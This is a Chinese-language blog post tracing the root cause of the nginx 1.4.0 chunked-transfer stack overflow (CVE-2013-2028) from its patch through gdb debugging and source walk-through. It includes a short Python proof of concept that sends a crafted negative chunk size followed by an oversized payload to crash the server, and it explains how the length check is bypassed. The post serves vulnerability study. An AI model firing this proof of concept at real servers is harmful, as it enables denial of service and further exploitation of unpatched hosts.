<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從補丁追溯漏洞觸發路徑

    VSole2021-10-25 20:02:51

    背景

    操作系統:ubuntu 18.04 64bit
    漏洞軟件:nginx-1.4.0

    漏洞補丁信息

    從補丁可以認識一個漏洞的觸發源。

    查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:

    if (ctx->size < 0 || ctx->length < 0) {goto invalid;    }
    return rc;
    

    可以看到補丁中在/src/http/ngx_http_parse.cngx_http_parse_chunked函數返回值中增加了對變量ctx->lengthctx->size負值判斷

    查看ctx變量的結構體定義,

    struct ngx_http_chunked_s {ngx_uint_t           state;off_t                size;off_t                length;};
    

    可以看到sizelength的類型變量是off_t,而off_t對應了long int,是一個有符號的變量(記住這一點,很重要)。

    漏洞觸發路徑分析

    從上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.cngx_http_parse_chunked函數,與負值的變量ctx->lengthctx->size有關,現在開始追蹤這兩個變量的后續流向。

    2.1 漏洞復現

    POC信息

    從互聯網可以找到該漏洞的POC如下:

    import socket
    host = "127.0.0.1"ip='127.0.0.1'
    raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, 80))
    data1 = rawdata1 += "f000000000000060" + "\r\n"
    print data1s.send(data1)
    s.send("B" * 6000)s.close()
    

    這個POC會發送兩次TCP請求數據,第一次是一個HTTP請求:

    GET / HTTP/1.1Host: 127.0.0.1Transfer-Encoding: chunkedConnection: Keep-Alive
    f000000000000060
    

    第二次是一個超長的"B"字符串。

    chunked HTTP請求

    第一個HTTP請求的特殊之處在于這是一個分塊傳輸的請求。在請求體中,在每一個分塊的開頭需要添加當前分塊的長度,以十六進制的形式表示,后面緊跟著 '\r\n' ,之后是分塊本身,后面也是'\r\n'

    漏洞復現

    在shell中找到nginx工作進程的pid,并使用gdb 掛載調試 ,并在patch函數下斷點。

    osboxes@osboxes:~$ ps aux |grep nginxroot      2081  0.0  0.0  21860  1908 ?        Ss   11:14   0:00 nginx: master process ./nginx -c conf/nginx.confnobody    7185  0.0  0.0  22256  2196 ?        S    17:32   0:00 nginx: worker processosboxes   7406  0.0  0.0  14436  1008 pts/0    S+   19:13   0:00 grep --color=auto nginxosboxes@osboxes:~$ sudo gdb -p 7185pwndbg> b ngx_http_parse_chunkedBreakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974.pwndbg> cContinuing.
    

    執行POC,并查看函數調用棧可以看到如下:

    那我們就依照源碼來分析漏洞的觸發路徑

    1.ngx_http_parse_chunked函數解析HTTP中的塊大小

    查看ngx_http_parse_chunked函數,可以看到該函數的主要功能為解析HTTP請求體中的chunk信息。

    ngx_int_tngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,    ngx_http_chunked_t *ctx){...    state = ctx->state;...    rc = NGX_AGAIN;...
            switch (state) {                ...        case sw_chunk_size:            if (ch >= '0' && ch <= '9') {                ctx->size = ctx->size * 16 + (ch - '0');                break;            }            c = (u_char) (ch | 0x20);
                if (c >= 'a' && c <= 'f') {                ctx->size = ctx->size * 16 + (c - 'a' + 10);                break;            }                ...    }
    data:    switch (state) {...    case sw_chunk_data:        ctx->length = ctx->size + 4 /* LF "0" LF LF */;        break;...    return rc;...}
    

    當遇到HTTP請求體中的塊大小,即f000000000000060時,會將字符串解析為對應的十六進制數字,并保存在ctx->size中。注意,由于是有符號的,ctx的值是為負數的。之后ctx->size的值會賦值到ctx->lenth中,也就是:

    ctx->lenth= ctx->size+4          = parseLong('f000000000000060')+4          = -1152921504606846880+4          = -1152921504606846876
    

    之后,函數返回,返回值為rc=NGX_AGIN

    2.ngx_http_discard_request_body_filter將值進一步向上傳遞

    根據返回值rc == NGX_AGAIN, 這個負值會進一步傳遞到r->headers_in.content_length_n 變量中,注意這也是一個off_t類型的,也就是它也是**負數。**也就是

    r->headers_in.content_length_n = rb->chunked->length                               = -1152921504606846876
    

    之后函數返回 ,返回值為NGX_OK

    3.ngx_http_discard_request_body簡單跳轉

    ngx_http_discard_request_body函數中, 控制流返回后進入到另一個子函數中。

    4.ngx_http_read_discarded_request_body棧溢出

    逃脫ngx_min檢查

    ngx_http_read_discard_request_body函數中本來是有長度范圍檢查ngx_min,但是正如我們前面所說的,長度為負數,所以這個檢查就被繞過了

    size 被賦予超大值

    在函數中size_t是一個無符號的long int, 這樣size就被意外的賦值為一個超大的數值。也就是

    (size_t) size= r->headers_in.content_length_n             = 17293822569102704740
    
    recv 將超長的輸入寫入局部變量buffer

    在解析size之后,nginx 會嘗試再次讀取輸入,

    n = r->connection->recv(r->connection, buffer, size);
    

    此時,系統會嘗試size=17293822569102704740大小的輸入寫入到局部變量buffer中,由此造成了棧溢出

    漏洞數據流

    總結整理數據的流動方向如下圖:

    總結

    這個漏洞的原因在于,帶符號整數在轉為無符號數時會變為極大的值,從而導致nginx從socket中讀取了超長的值到局部變量中。

    漏洞的觸發條件為三個:

    條件作用HTTP 請求頭中 Transfer-Encoding: chunked確保進入ngx_http_parse_chunked函數,讀取精心設置的長度塊長度為負數確保逃過ngx_min的檢查第二次請求超長確保數據被讀入并造成棧溢出(ps: 這也是利用構造的地方) 參考:Nginx棧溢出分析 - CVE-2013-2028 - l3m0n - 博客園 (cnblogs.com)

    https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html

    nginxsocket
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    從補丁可以認識一個漏洞的觸發源。 查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
    最近安全圈公布了一個利用 HTTP/2 快速重置機制進行 DDoS 攻擊的 0day 漏洞,CVE-2023-44487,鑒于 HTTP/2 協議已經在 Internet 上廣泛使用,所以該漏洞一經發布,在業界引起廣泛關注。
    給木馬帶雙眼睛
    2023-04-18 09:56:25
    近月,內存馬的技術也產生新的變化,如利用websocket進行通信,Executor內存馬進行socket通信。本文介紹利用Poller內存馬實現全流量監控,這樣,攻擊方可以實時監控經過系統的每一個請求,或者增加了釣魚等信息利用的便利。這也就是說注入Poller的內存馬一定是不能出任何bug的,一旦出了,整個服務直接崩潰。反向,Executor是一個任務類,創建后就執行一個線程任務,如果這次業務異常,最多這次的請求無法正常執行罷了。
    常見邊界拓撲第一種情況Inbound Stream ---> Firewall ---> Target. 這其中無論負載均衡設備轉發或者防火墻的,均有可能存在帶來源IP轉發或者不帶來源IP轉發的情況,帶來源IP或者端口的方案我們在下文的常見端口復用實現機制中有所介紹,該如何在此種情況下實現端口復用,
    HTTP request smuggling與CTF實戰利用
    常見邊界拓撲第一種情況Inbound Stream ---> Firewall ---> Target. 這其中無論負載均衡設備轉發或者防火墻的,均有可能存在帶來源IP轉發或者不帶來源IP轉發的情況,帶來源IP或者端口的方案我們在下文的常見端口復用實現機制中有所介紹,該如何在此種情況下實現端口復用,而不帶來源IP或者端口的情況目前網上討論得不多,下文也將就這類情況進行分析提出解決方案。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类